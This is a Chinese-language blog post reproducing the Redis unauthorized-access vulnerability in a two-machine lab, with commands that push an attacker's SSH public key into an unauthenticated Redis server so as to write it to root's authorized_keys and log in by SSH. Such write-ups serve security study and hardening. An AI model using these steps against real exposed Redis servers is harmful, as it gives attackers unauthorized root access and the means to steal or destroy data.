Redis未授权访问漏洞复现
发表于 2018年9月28日 Notes,系统安全
Redis是一种开源的,内存中的数据结构存储系统,可用作数据库,消息代理或缓存。由于它是在在受信任的环境中访问,因此不应在Internet上公开。但是,一些Redis服务绑定到公共接口,甚至没有密码身份验证保护。
在某些情况下,如果Redis使用root帐户运行,攻击者可以将SSH公钥文件写入root帐户,直接通过SSH登录到受害服务器。这会允许黑客获得服务器权限,删除或窃取数据,甚至导致加密勒索,严重危及正常的业务服务。
漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞利用的简化流程
· 登录不受保护的Redis
· 将其备份位置更改为.ssh目录 – 将SSH密钥写入新的备份位置
· 使用SSH密钥远程连接并登录目标服务器
我们应该已经熟悉如何使用私钥+公钥进行SSH自动登录了。
漏洞复现
现在我们来开始实战,设置一台目标机器。我们需要两台机器,可以是物理机,虚拟机,也可以是远程VPS。
只要攻击端能够ping通目标就行。
本次示例的环境配置:
目标机器:Ubuntu上的Redis-3.2.11
攻击机:kali
配置目标机器
首先,在目标机器上安装Redis。通过下面这个命令来下载源码:
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
解压和编译,命令如下:
tar xzf redis-3.2.11.tar.gz cd redis-3.2.11
make
make之后,我们使用nano来打开redis-3.2.11目录下的redis.conf配置文件。为了能够进行远程访问,我们需要注释掉 bind 127.0.0.1这一行,并禁用protected-mode,如图所示:
现在使用我们刚才编辑的配置文件启动Redis服务。注意:redis-server在redis-3.2.11/src目录下,启动命令如下:
src/redis-server redis.conf
现在,我们已经完成了目标服务器的设置。此外,我们还应检查是否有 .ssh文件夹。如果没有,我们应该创建一个,一会儿攻击时会用到。
攻击机配置
首先,确定我们可以ping通目标。然后,我们将生成一个私钥和公钥,以便稍后SSH到目标机器中。运行以下命令以生成SSH密钥并将密码保留为空:
ssh-keygen -t rsa
然后,进入.ssh目录,如果你是root用户,请输入/.ssh,不是root用户,输入~/.ssh,然后将私钥复制到temp.txt中:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
有人可能会奇怪,为什么我们在公钥前后放两个空行?如果你不知道的话,我们这里先卖一个关子,下面自会解答。
很好,现在我们已经生成了一对密钥对,现在我们需要找到一个方法将公钥上传到Redis服务器中(目标机器)。
我们将使用redis-cli向Redis服务器发送命令,并且直接在终端中读取服务器的响应。
在redis-3.2.11/sct目录下执行以下命令:
cat /.ssh/temp.txt | redis-cli -h 203.137.255.255 -x set s-key
这里,我们来看看命令。我们使用-h参数来指定远程Redis服务器IP,这样redis-cli就可以进行连接并发送命令。-x参数后的语句意思是,设置redis中s-key密钥的值为temp.txt。
这里,我们有了一个隐藏着ssh秘钥的密钥!现在我们再来连接到Redis并查看它的配置文件。使用redis-cli再次连接到Redis服务器,如图所示:
查看上面的截图,我们首先使用get s-key命令来验证s-key密钥的值,这个值正是我们想要的 – 前后有两个空行的公钥。我们这里真正要做的就是获取存储在.ssh文件夹中的“s-key”(SSH公钥)的值, 这样我们就可以不用输入密码而远程SSH登录到目标机器了。
我们需要执行如下操作:
备注:SSH中的authorized_keys文件指定可用于登录的用户帐户,配置文件已经修改。参考文章:ssh.com
攻击时刻
在攻击机上,使用下列命令ssh连接到目标机器上:
# command: private key username@server IP
ssh -i id_rsa username@203.137.255.255
太赞了,可以看到,我们使用SSH密钥已经成功自动登录到服务器上!到此,我们已经完成了漏洞复现。
最后,我想展示Redis的备份文件是什么样的,如图:
注意不可读的字符?在关键内容之前和之后添加“/ n / n”只是为了安全起见并将其与其他内容分开,以便可以正确解析。上面卖的关子,其实就是这个意思,很简单。
* 本文作者:SoftNight
添加新评论